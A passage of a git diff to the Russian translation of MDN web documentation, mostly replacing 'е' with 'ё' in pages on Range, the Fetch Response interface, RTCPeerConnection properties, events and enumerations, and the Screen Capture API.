производит ошибка.</p> +<p>Если {{ domxref("Range") }} разделяет любой не <a href="https://developer.mozilla.org/en-US/docs/Web/API/Text">текстовый</a> элемент хотя бы одной точкой, произойдёт исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого производит ошибка.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html index 30f50ac1a0..e32d4d23b9 100644 --- a/files/ru/web/api/response/index.html +++ b/files/ru/web/api/response/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Response <p><span class="seoSummary">Интерфейс <strong><code>Response</code></strong> из <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> представляет собой ответ на запрос.</span></p> -<p>Вы можете создать новый экземпляр объекта <code>Response</code> используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнетесь с объектом <code>Response</code>, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.</p> +<p>Вы можете создать новый экземпляр объекта <code>Response</code> используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнётесь с объектом <code>Response</code>, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.</p> <h2 id="Конструктор">Конструктор</h2> diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html index 227387085a..4cc50b9e0b 100644 --- a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html +++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -7,9 +7,9 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates <div></div> -<div><span class="seoSummary">Свойство только для чтения <code><strong>canTrickleIceCandidates</strong></code> , объекта <strong>{{domxref("RTCPeerConnection")}}</strong>, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удаленный пир принимать кандидаты, согласно спецификации <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>.</span></div> +<div><span class="seoSummary">Свойство только для чтения <code><strong>canTrickleIceCandidates</strong></code> , объекта <strong>{{domxref("RTCPeerConnection")}}</strong>, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удалённый пир принимать кандидаты, согласно спецификации <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>.</span></div> -<p><strong>ICE trickling (ICE просачивание)</strong> - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удаленному пиру..</p> +<p><strong>ICE trickling (ICE просачивание)</strong> - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удалённому пиру..</p> <p>Свойство инициализируется только после вызова метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}. Было бы идеально, если бы ваш протокол сигнализации предоставлял способ определения поддержки просачивания кандидатов, для того, что бы не полагаться на это свойство. Браузер, поддерживающий WebRTC, всегда будет поддерживать ICE просачивание.</p> @@ -21,10 +21,10 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates <h3 id="Значение">Значение</h3> -<p>Тип {{jsxref("Boolean")}} содержит <code>true</code> , если удаленный пир может принимать просвечивающие ICE кандидаты, и <code>false</code> , если не может. Если удаленный пир еще не инициализирован, свойство возвращает <code>null</code>.</p> +<p>Тип {{jsxref("Boolean")}} содержит <code>true</code> , если удалённый пир может принимать просвечивающие ICE кандидаты, и <code>false</code> , если не может. Если удалённый пир ещё не инициализирован, свойство возвращает <code>null</code>.</p> <div class="note"> -<p><strong>Примечание :</strong> Значение свойства инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}; Возвращаемый объект описания используется агентом ICE для определения возможности удаленного пира поддерживать просачивающихся ICE кандидатов.</p> +<p><strong>Примечание :</strong> Значение свойства инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}; Возвращаемый объект описания используется агентом ICE для определения возможности удалённого пира поддерживать просачивающихся ICE кандидатов.</p> </div> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html index b0ddb77eb3..09fa8f0f88 100644 --- a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentLocalDescription --- <p>{{WebRTCSidebar}} </p> -<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentLocalDescription</strong></code> возвращает объект {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как самый последний, удачно согласованный объект описания, с момента последнего завершения согласования {{domxref("RTCPeerConnection")}} и соединения с удаленным пиром (участником соединения) . </p> +<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentLocalDescription</strong></code> возвращает объект {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как самый последний, удачно согласованный объект описания, с момента последнего завершения согласования {{domxref("RTCPeerConnection")}} и соединения с удалённым пиром (участником соединения) . </p> <p>Для изменения <code>currentLocalDescription</code>, вызовите метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, который запускает серию событий, приводящих к присвоению значения. Более подробно о том, что точно происходит и почему изменения происходят не сразу, смотрите {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.</p> @@ -34,7 +34,7 @@ if (sd) { sd.sdp + "'"); } else { - alert("Локальной сессии еще нет."); + alert("Локальной сессии ещё нет."); } </pre> diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html index a894369844..8793f0e379 100644 --- a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription --- <p>{{WebRTCSidebar}}</p> -<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code> возвращает объект {{domxref("RTCSessionDescription")}} , представляющий удаленную сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удаленным пиром. </p> +<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code> возвращает объект {{domxref("RTCSessionDescription")}} , представляющий удалённую сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удалённым пиром. </p> <p>Для изменения значения свойства <code>currentRemoteDescription</code>, вызовите метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}, который запускает серию событий, приводящих к установке нового значения. Подробнее о том, что точно происходит и почему изменение значения не происходит немедленно, смотрите {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.</p> @@ -19,7 +19,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Текущий объект описания, представляющий удаленную сторону соединения, если она присутствует. Если ни один объект описания не установлен, значением будет <code>null</code>.</p> +<p>Текущий объект описания, представляющий удалённую сторону соединения, если она присутствует. Если ни один объект описания не установлен, значением будет <code>null</code>.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html index 8bd86fa3e5..4cf9d46d46 100644 --- a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html +++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event --- <div>{{WebRTCSidebar}}</div> -<p>Событие <strong><code>icecandidate</code></strong> отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удаленному клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удаленный клиент (remote peer) смог добавить его в свой набор удаленных кандидатов (remote candidates).</p> +<p>Событие <strong><code>icecandidate</code></strong> отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удалённому клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удалённый клиент (remote peer) смог добавить его в свой набор удалённых кандидатов (remote candidates).</p> <table class="properties"> <tbody> @@ -34,7 +34,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <h3 id="Делимся_Sharing_новым_кандидатом">Делимся (Sharing) новым кандидатом</h3> -<p>В основном события <code>icecandidate</code> происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удаленному клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.</p> +<p>В основном события <code>icecandidate</code> происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удалённому клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.</p> <pre class="brush: js notranslate">rtcPeerConnection.onicecandidate = (event) => { if (event.candidate) { @@ -45,7 +45,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event } </pre> -<p>Удаленный клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).</p> +<p>Удалённый клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).</p> <h3 id="Indicating_the_end_of_a_generation_of_candidates">Indicating the end of a generation of candidates</h3> diff --git a/files/ru/web/api/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/index.html index 5103da41dc..676d536252 100644 --- a/files/ru/web/api/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection --- <p>{{APIRef('WebRTC')}}</p> -<p><span class="seoSummary">Интерфейс <strong><code>RTCPeerConnection</code></strong> представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удаленным пиром на удаленном компьютере. Он предоставляет методы для соединения с удаленным участником соединения, обслуживания, мониторинга и закрытия соединения.</span></p> +<p><span class="seoSummary">Интерфейс <strong><code>RTCPeerConnection</code></strong> представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удалённым пиром на удалённом компьютере. Он предоставляет методы для соединения с удалённым участником соединения, обслуживания, мониторинга и закрытия соединения.</span></p> <p>{{InheritanceDiagram}}</p> @@ -17,7 +17,7 @@ translation_of: Web/API/RTCPeerConnection <dl> <dt>{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}</dt> - <dd>Создает новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определенным объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..</dd> + <dd>Создаёт новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определённым объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..</dd> </dl> <h2 id="События">События </h2> @@ -29,10 +29,10 @@ translation_of: Web/API/RTCPeerConnection <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда общий статус объекта соединения <code>RTCPeerConnection</code> изменился.<br> Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}}.</dd> <dt>{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}</dt> - <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда удаленный пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}} в текущее соединение.<br> + <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда удалённый пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}} в текущее соединение.<br> Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}}.</dd> <dt>{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}</dt> - <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда специальный объект ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>) сгенерирован <code>RTCPeerConnection</code> и готов для передачи удаленному пиру по каналу сигнализации.Сам сгенерированный объект кандидата передается в параметр вызванного обработчика. <br> + <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда специальный объект ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>) сгенерирован <code>RTCPeerConnection</code> и готов для передачи удалённому пиру по каналу сигнализации.Сам сгенерированный объект кандидата передаётся в параметр вызванного обработчика. <br> Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}.</dd> <dt>{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}</dt> <dd>Событие типа ошибки {{domxref("RTCPeerConnectionIceErrorEvent")}} , возникает на объекте соединения при генерации ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>), если при этом возникла ошибка. Свойства объекта ошибки, возвращаемого в обработчик, описывают подробности ошибки.<br> @@ -41,10 +41,10 @@ translation_of: Web/API/RTCPeerConnection <dd>Событие объекта <code>RTCPeerConnection</code> возникает при изменении статуса ICE соединения. К примеру, <a href="https://developer.mozilla.org/en-US/docs/Glossary/ICE">ICE</a> соединение разорвано.<br> Так же, доступно через свойство установки обработчика события{{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} .</dd> <dt>{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}</dt> - <dd>Событие объекта <code>RTCPeerConnection,</code> возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что : согласование соединения ICE еще не началось (статус равен значению "<code>new</code>"); согласование соединения ICE началось (статус равен значению "<code>gathering</code>"); согласование ICE соединения завершено (статус равен значению "<code>complete</code>").<br> + <dd>Событие объекта <code>RTCPeerConnection,</code> возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что : согласование соединения ICE ещё не началось (статус равен значению "<code>new</code>"); согласование соединения ICE началось (статус равен значению "<code>gathering</code>"); согласование ICE соединения завершено (статус равен значению "<code>complete</code>").<br> Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} .</dd> <dt>{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}</dt> - <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет свое значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.<br> + <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет своё значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.<br> Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}}.</dd> <dt>{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}</dt> <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда необходимо запустить согласование (пересогласование) ICE соединения; может произойти при первом открытии соединения , или при необходимости принятия изменений условий сети. Получатель должен ответить, создав предложение и отправив его другому партнеру. <br> @@ -83,7 +83,7 @@ translation_of: Web/API/RTCPeerConnection <h3 id="Перечисление_RTCBundlePolicy">Перечисление RTCBundlePolicy </h3> -<p>Перечисление <code>RTCBundlePolicy</code> (политика сборки пакетов) определяет строковые константы, которые используются для запроса определенной политики при сборке ICE кандидатов, в случае, если удаленный участник соединения (удаленная точка) не совместим со стандартом <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a> для объединения нескольких медиапотоков в один транспортный пакет.</p> +<p>Перечисление <code>RTCBundlePolicy</code> (политика сборки пакетов) определяет строковые константы, которые используются для запроса определённой политики при сборке ICE кандидатов, в случае, если удалённый участник соединения (удалённая точка) не совместим со стандартом <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a> для объединения нескольких медиапотоков в один транспортный пакет.</p> <div class="note"> <p><strong> Примечание :</strong> В технических терминах BUNDLE (пакет) позволяет всем медиапотокам между двумя пирами проходить через один 5 - ти элементный кортеж (тип транспортного протокола передачи сообщений при установки TCP, UDP, и ICMP соединений, состоящий из пяти элементов анализа данных). То есть, с одного IP-адреса и порта на одном узле на один IP-адрес и порт на другом узле с использованием одного и того же транспортного протокола.</p> @@ -100,16 +100,16 @@ translation_of: Web/API/RTCPeerConnection <tr> <td><code>"balanced"</code></td> <td> - <p>Сбалансированный. Агент ICE изначально создает по одному объекту {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если удаленная конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.</p> + <p>Сбалансированный. Агент ICE изначально создаёт по одному объекту {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если удалённая конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.</p> </td> </tr> <tr> <td><code>"max-compat"</code></td> - <td>Максимально совместимый. Агент ICE изначально создает один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удаленная точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортах</td> + <td>Максимально совместимый. Агент ICE изначально создаёт один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удалённая точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортах</td> </tr> <tr> <td><code>"max-bundle"</code></td> - <td>Максимальный пакет. Агент ICE изначально создает только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удаленная точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.</td> + <td>Максимальный пакет. Агент ICE изначально создаёт только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удалённая точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.</td> </tr> </tbody> </table> @@ -128,15 +128,15 @@ translation_of: Web/API/RTCPeerConnection <tbody> <tr> <td><code>"new"</code></td> - <td>ICE агент собирает адреса или ожидает получения удаленных кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу.</td> + <td>ICE агент собирает адреса или ожидает получения удалённых кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу.</td> </tr> <tr> <td><code>"checking"</code></td> - <td>ICE агент получил один или несколько удаленных кандидатов и проверяет парность локального и удаленного кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но еще не обнаружил пару, соответствующую устанавливаемому удаленному соединению.Не исключено, что сборка кандидатов продолжиться.</td> + <td>ICE агент получил один или несколько удалённых кандидатов и проверяет парность локального и удалённого кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но ещё не обнаружил пару, соответствующую устанавливаемому удалённому соединению.Не исключено, что сборка кандидатов продолжиться.</td> </tr> <tr> <td><code>"connected"</code></td> - <td>Совместимая парность локального и удаленного кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости.</td> + <td>Совместимая парность локального и удалённого кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости.</td> </tr> <tr> <td><code>"completed"</code></td> @@ -144,11 +144,11 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"failed"</code></td> - <td>Агент ICE проверил все пары кандидатов между собой и не нашел совместимых сопоставлений для всех компонентов соединения. Или не нашел совместимых соединений для некоторых компонентов. </td> + <td>Агент ICE проверил все пары кандидатов между собой и не нашёл совместимых сопоставлений для всех компонентов соединения. Или не нашёл совместимых соединений для некоторых компонентов. </td> </tr> <tr> <td><code>"disconnected"</code></td> - <td>Проверяет, что компоненты все еще подключены, хотя бы для одного объекта {{domxref("RTCPeerConnection")}}. Это менее строгий тест, чем <code>"failed"</code>, и он может периодически запускаться и разрешаться спонтанно в менее надежных сетях, или во время временного отключения. Когда проблема исчезнет, соединение может вернуться в состояние <code>"connected".</code> </td> + <td>Проверяет, что компоненты все ещё подключены, хотя бы для одного объекта {{domxref("RTCPeerConnection")}}. Это менее строгий тест, чем <code>"failed"</code>, и он может периодически запускаться и разрешаться спонтанно в менее надёжных сетях, или во время временного отключения. Когда проблема исчезнет, соединение может вернуться в состояние <code>"connected".</code> </td> </tr> <tr> <td><code>"closed"</code></td> @@ -171,7 +171,7 @@ translation_of: Web/API/RTCPeerConnection <tbody> <tr> <td><code>"new"</code></td> - <td>Соединение только что создано, и еще не имело сетевой активности.</td> + <td>Соединение только что создано, и ещё не имело сетевой активности.</td> </tr> <tr> <td><code>"gathering"</code></td> @@ -179,7 +179,7 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"complete"</code></td> - <td>Агент ICE завершил сборку кандидатов. Если произойдет, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение "<code>gathering</code>" и начнется пересборка кандидатов.</td> + <td>Агент ICE завершил сборку кандидатов. Если произойдёт, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение "<code>gathering</code>" и начнётся пересборка кандидатов.</td> </tr> </tbody> </table> @@ -202,7 +202,7 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"public" </code>{{obsolete_inline}}</td> - <td>Будут рассматриваться ICE кандидаты, только имеющие публичные IP адреса. <em>Удален в спецификации от 13 мая 2016 (working draft).</em></td> + <td>Будут рассматриваться ICE кандидаты, только имеющие публичные IP адреса. <em>Удалён в спецификации от 13 мая 2016 (working draft).</em></td> </tr> <tr> <td><code>"relay"</code></td> @@ -233,11 +233,11 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"connected"</code></td> - <td>Соединен. Каждый объект ICE передачи, использующийся соединением либо используется (имеет статус <code>"connected"</code> или <code>"completed"</code>) , либо закрыт (имеет статус <code>"closed"</code>); кроме того, по крайней мере один объект передачи имеет статус либо <code>"connected"</code> , либо <code>"completed"</code>.</td> + <td>Соединён. Каждый объект ICE передачи, использующийся соединением либо используется (имеет статус <code>"connected"</code> или <code>"completed"</code>) , либо закрыт (имеет статус <code>"closed"</code>); кроме того, по крайней мере один объект передачи имеет статус либо <code>"connected"</code> , либо <code>"completed"</code>.</td> </tr> <tr> <td><code>"disconnected"</code></td> - <td>Разъединен. По меньшей мере один из объектов ICE передачи в соединении имеет статус <code>"disconnected"</code> и ни один из объекто передачи не находиться в статусе : <code>"failed"</code>, <code>"connecting"</code>, или <code>"checking"</code>.</td> + <td>Разъединён. По меньшей мере один из объектов ICE передачи в соединении имеет статус <code>"disconnected"</code> и ни один из объекто передачи не находиться в статусе : <code>"failed"</code>, <code>"connecting"</code>, или <code>"checking"</code>.</td> </tr> <tr> <td><code>"failed"</code></td> @@ -301,15 +301,15 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"have-remote-offer"</code></td> - <td>Имеет удаленное предложение. Удаленный пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td> + <td>Имеет удалённое предложение. Удалённый пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td> </tr> <tr> <td><code>"have-local-pranswer"</code></td> - <td>Имеет локальный предварительный ответ. Предложение удаленного пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включенных в него полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно.</td> + <td>Имеет локальный предварительный ответ. Предложение удалённого пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включённых в него полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно.</td> </tr> <tr> <td><code>"have-remote-pranswer"</code></td> - <td>Имеет предварительный удаленный ответ. Предварительный удаленный ответ был получен и успешно применен в ответ на предложение, отправленное ранее и установленное методом <code>setLocalDescription()</code>.</td> + <td>Имеет предварительный удалённый ответ. Предварительный удалённый ответ был получен и успешно применён в ответ на предложение, отправленное ранее и установленное методом <code>setLocalDescription()</code>.</td> </tr> <tr> <td><code>"closed"</code> {{obsolete_inline}}</td> diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html index 072496379e..25eaa93c7f 100644 --- a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/RTCPeerConnection --- <div>{{APIRef("WebRTC")}}</div> -<p><span class="seoSummary">Конструктор <strong><code>RTCPeerConnection()</code></strong> возвращает новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удаленным пиром (участником соединения)</span></p> +<p><span class="seoSummary">Конструктор <strong><code>RTCPeerConnection()</code></strong> возвращает новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удалённым пиром (участником соединения)</span></p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html index d9d89652c2..7677339be1 100644 --- a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html +++ b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture <p><span class="seoSummary">В этой статье изучается использование программного интерфейса Screen Capture и его метода {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} для захвата потока экрана (всего или его части), его записи или передачи через сессию <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> .</span></p> <div class="blockIndicator note"> -<p><strong>Примечание :</strong> Полезно отметить, что последние версии библиотеки <a href="https://github.com/webrtcHacks/adapter">WebRTC adapter.js</a> включают реализацию метода <code>getDisplayMedia()</code> для обмена изображениями с экрана на браузерах, которые его поддерживают, но еще не реализуют текущий стандартный интерфейс, который реализован в последних версиях Chrome, Edge, и Firefox.</p> +<p><strong>Примечание :</strong> Полезно отметить, что последние версии библиотеки <a href="https://github.com/webrtcHacks/adapter">WebRTC adapter.js</a> включают реализацию метода <code>getDisplayMedia()</code> для обмена изображениями с экрана на браузерах, которые его поддерживают, но ещё не реализуют текущий стандартный интерфейс, который реализован в последних версиях Chrome, Edge, и Firefox.</p> </div> <h2 id="Захват_содержимого_экрана">Захват содержимого экрана</h2> @@ -41,7 +41,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture .catch(err => { console.error("Error:" + err); return null; }); }</pre> -<p>В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции <code>startCapture()</code> возвращают объект типа {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съемку ?).</p> +<p>В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции <code>startCapture()</code> возвращают объект типа {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съёмку ?).</p> <p>Смотрим {{anch("Options and constraints")}}, ниже, подробнее о том, как указать желаемый тип поверхности, а также о других способах настройки результирующего потока.</p> @@ -55,13 +55,13 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture <h3 id="Видимые_или_логические_поверхности_отображения">Видимые 